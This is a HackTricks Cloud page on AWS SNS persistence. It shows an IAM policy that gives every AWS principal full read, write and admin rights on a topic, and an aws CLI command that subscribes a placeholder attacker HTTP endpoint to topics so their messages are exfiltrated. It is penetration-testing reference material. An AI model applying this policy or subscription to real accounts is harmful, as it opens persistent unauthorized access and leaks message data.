mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-18 15:45:54 -08:00
87 lines
2.0 KiB
Markdown
87 lines
2.0 KiB
Markdown
# AWS - SNS Persistence
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## SNS
|
|
|
|
For more information check:
|
|
|
|
{{#ref}}
|
|
../aws-services/aws-sns-enum.md
|
|
{{#endref}}
|
|
|
|
### Persistence
|
|
|
|
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
|
|
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
|
|
|
|
```json
|
|
{
|
|
"Version": "2008-10-17",
|
|
"Id": "__default_policy_ID",
|
|
"Statement": [
|
|
{
|
|
"Sid": "__default_statement_ID",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": [
|
|
"SNS:Publish",
|
|
"SNS:RemovePermission",
|
|
"SNS:SetTopicAttributes",
|
|
"SNS:DeleteTopic",
|
|
"SNS:ListSubscriptionsByTopic",
|
|
"SNS:GetTopicAttributes",
|
|
"SNS:AddPermission",
|
|
"SNS:Subscribe"
|
|
],
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
|
"Condition": {
|
|
"StringEquals": {
|
|
"AWS:SourceOwner": "318142138553"
|
|
}
|
|
}
|
|
},
|
|
{
|
|
"Sid": "__console_pub_0",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": "SNS:Publish",
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
|
},
|
|
{
|
|
"Sid": "__console_sub_0",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": "SNS:Subscribe",
|
|
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
|
|
### Create Subscribers
|
|
|
|
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
|
|
|
|
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
|
|
|
|
```bash
|
|
aws sns subscribe --region <region> \
|
|
--protocol http \
|
|
--notification-endpoint http://<attacker>/ \
|
|
--topic-arn <arn>
|
|
```
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
|
|
|
|
|
|
|